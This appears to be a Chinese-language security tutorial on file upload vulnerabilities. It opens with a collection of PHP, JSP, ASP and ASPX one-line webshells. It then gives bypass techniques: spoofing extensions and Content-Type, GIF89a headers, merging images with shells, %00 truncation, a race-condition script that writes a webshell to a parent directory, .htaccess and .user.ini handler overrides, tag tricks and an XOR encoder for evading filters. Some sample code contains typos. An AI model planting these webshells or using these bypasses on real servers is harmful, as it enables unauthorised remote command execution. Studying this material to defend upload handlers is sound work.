一、文件上传简介
当今大多数网站都允许进行文件上传,可这是一个十分危险的行为,未经验证的文件上传操作会导致服务器权限被窃取,也就是getshell。当网站对上传的文件格式验证不严谨存在被绕过的可能时,就会导致未经授权的任意命令执行漏洞。
WebShell
WebShell分为很多种,如大马、小马、一句话木马,总体上属于木马(Trojan)病毒,是一段具有远程命令执行功能的恶意代码或是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。
这里我们重点介绍一句话木马。
一句话木马
一句话木马的特点就是短小,十分精简造成的功能又十分强大,可以产生远程代码执行或远程命令执行的功能,不同的环境有对应的一句话木马。
PHP一句话
<?php eval($_POST['c']);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>
JSP一句话
<%if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).wr
ite(request.getParameter("t").getBytes());%>
ASP一句话
<%execute(request("value"))%>
ASPX一句话
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
二、文件上传绕过
可以文件上传的网站一般都有防火墙进行阻拦,防止任意文件上传,防止服务器中木马病毒被获取后门。这里介绍几种主流的文件检测绕过。
前端文件后缀检测
前端文件检测一般是利用JavaScript等前端web脚本语言组成,由于前端检测的脚本不经过服务器,可以约等于没有,只能让一般网络使用者无法上传非法文件。对于网络安全研究人员来说,前端检测等于没有。
我们只需要在浏览器页面按F12编辑HTML删除检测文件后缀的js代码就可以实现任意文件上传,也可以将文件后缀名改为合法的,再通过抓包修改包内文件后缀名,就实现了前端检测绕过。
样例代码如下:
<html>
<head>
<title>JS检测文件类型</title>
<script type="text/JavaScript">
fuction selectfile(fnUpload)
{
var filename = fnUpload.value;
var mime = filename.toLowerCase().substr(filename,lastIndexOf("."));
if(mine!=".jpg" || mine!=".png")
{
alert("文件格式错误");
fnUpload.outerHTML=fnUpload.outerHTML;
}
}
</script>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" onchange="selectFile(this)" />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
后端文件后缀检测绕过
文件后缀检测一般是通过改变文件后缀名,来绕过服务端的文件后缀检测。一般用于使用后缀名黑名单的网站,如果文件后缀被检测到在黑名单里面,服务端就会拒绝接受文件。因为是黑名单,就有一些未考虑到的不常见文件名。
<?php
if($_FILES['filr']['error']>0)
{
exit("error:".$_FILES['file']['error']."<br />");//判断文件上传十分正常
}
else
{
$name=$_FILES['file']['name'];
$ext=end(explode(".",$name));//获取文件后缀名
if($ext == "php")//黑名单
{
exit("error:illegal file");
}
if(file_exists("upload/".$_FILES["file"]["name"]))//文件名重复判断
{
exit("error:The file name is already occupied");
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$_FILES["file"]["name"]);//保存文件
echo "info:The file has been saved to upload/".$_FILES["file"]["name"];//返回路径
}
?>
后端文件类型检测绕过
这种检测基于浏览器发送报文时产生的http报文中的Content-Type字段,不过报文是我们可以操作的,所以这种检测也相当于没有,我们只需要通过Burp Suite抓包,修改这一项的值就可实现恶意文件的上传。例如我们可以将application/octet-stream
改为 image/jpeg
即可实现绕过。
后端文件头检测绕过
exif_imagetype()
函数: 读取一个图像的第一个字节并检查其签名,如果发现恰当的签名返回一个对应的常量,否则返回false。返回值和getimagesize()返回值的数组中的索引2的值是一样的,但本函数快的多。
方法一:将图片与一句话木马合并
准备z.php和一个真jpg图片用cmd命令行输入:copy 1.jpg/b+z.php/a 2.jpg
参数/b指定以二进制格式复制合并文件
参数/a指定以ascll格式复制合并文件
注意:并不是所有图片都能完成这个操作,可以参考此链接
方法二:在一句话木马前方加入GIF89a
这是GIF89a图片头,用于标识这个文件的属性,GIF89a图形文件是一个根据图形交换格式(GIF)89a版进行格式化之后的图形。
以这个字符串开头的文件会被这个函数识别为图片。
文件截断绕过
PHP%00截断,当PHP版本小与5.3.4时,利用%00(结束符)来截断文件后缀名,%00后的字符会被自动删除,这样可以绕过文件名被变更的上传操作。
场景:表单上传文件,上传后对文件进行重命名,重命名格式为用户传参名称加上传时间拼接源文件后缀,文件类型采用白名单:jpg,png。
例如:上传文件test.jpg,返回路径"upload/test.jpg20220322183450.jpg"。
这种情况,当我们判断PHP版本小与5.3.4时,就可以使用%00截断。构造文件名为 1.jpg
,传参命名时发送1.php%00
文件被保存时,就会发生%00截断,将%00后的字符全部删除,从而文件名变为1.php
。
<html>
<head>
<title>%00截断</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="text" name="name" id="name" /><br />
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
<?php
$ext_arr=array('jpg','png');//白名单
$file_ext=end(explode(".",$_FILES['file']['name']));//获取文件后缀
if(in_array($file_ext,$ext_arr))//白名单检测
{
$tempfile=$_FILES['file']['tmp_name'];
$savepath="upload/".$_POST['name'].date("YmdHis").".".$file_ext;//文件名拼接
if(move_uploaded_file($tempfile,$savepath))
{
echo "Path:".$savepath;
}
else
{
echo "error:file saving failed.";
}
}
else
{
exit("error:illegal file");
}
?>
一般的文件上传不会允许再来一个参数定义文件名的,就算我们构造文件名为 1.php%00.jpg
,他在 $_FILES['file']['name']
里面的时候就已经发生截断变成 1.php
了,再进行白名单检测时获取到的文件后缀已经是php了,所以过不了检查。
竞争条件攻击
这种文件攻击的方式比较偏门,有些网站先允许用户上传任意文件,在文件落地后,再用防火墙扫描文件,检测是否包含WebShell脚本,如果包含的话就删除文件。我们需要先上传一个能够自动新建文件并写入WebShell的php脚本,因为其中包含高危代码一定会被防火墙扫描出来,但是扫描和删除需要时间,在这个短的时间中调用该文件,实现getshell。
<?php fputs(fopen('../shell.php','w'),'<?php @eval($_POST[\'cmd\']) ?>'); ?>
只要在它被删除之前调用这个php文件,就可以完成向上层目录写入php一句话木马的工作。
图片马攻击
图片马是一种比较特殊的绕过方法,这其实不能算是文件上传漏洞,应该算文件包含漏洞的一部分,我在这里简单说明一下。
图片马就是在将PHP一句话木马嵌入到图片文件尾部,从而绕过安全检查的方法,要运行图片中php代码需要文件包含漏洞。也就是用php函数 include()
来展示图片,这个函数会将里面的参数当做PHP文件来调用执行,这样也就产生了任意命令执行漏洞。
服务端解析绕过
例如后台限制了我们不能上传后缀为php的文件,而有些Apache是允许解析php文件的别名,如:php3,php4,php5,phtml等。
服务器配置绕过
网站运维人员在httpd.conf中配置了 AddType application/x-httpd-php .php
这样的字段时,这样会导致含有.php的文件都会被解析为php文件。如果添加AddType application/x-httpd-php .a
,这样将会导致.a文件也被解析为php文件。
Apache倒序解析
在Apache的解析文件名顺序的时候是从右向左的解析的,如果解析到的第一个文件后缀无法解析,就继续向左继续解析,直到遇到可以解析的文件后缀为止。这样我们可以构造 1.php.xxxx
这样的文件名,这样也可以绕过的黑名单墙。
.htaccess文件上传
.htaccess
名为分布式配置文件,他可以将其所在的文件夹下的文件格式解析方式改变,所以我们可以通过上传.htaccess
来将图片文件解析为可执行文件,来执行我们上传的图片马。
利用条件
- php5.6以下不带nts的版本
服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件
<IfModule > setHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行 </IfModule > <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php #指定文件解析为php </FilesMatch>
.user.ini文件上传
我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
使用条件
- 服务器脚本语言为PHP
- 对应目录下面有可执行的php文件
服务器使用CGI/FastCGI模式
.user.ini
它比.htaccess
用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。auto_prepend_file=shell.jpg //在页面顶部加载文件 auto_append_file=shell.jpg //在页面底部加载文件
PHP标签绕过
屏蔽<?php ?>
:可以使用PHP短标签绕过,可以用<?= ?>
代替php标签。<?= ?>
短标签会直接把php的结果输出,<? ?>
的功能则和<?php?>
完全一样。过滤空格可以用\t绕过,或者%09也就是tab的URL编码。php反引号中的字符串会被当作命令执行。
在<?
被过滤时,可以使用<script language="php"></script>
来绕过waf。
异或绕过
异或绕过的脚本
<?php
$shell = "phpinfo()";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}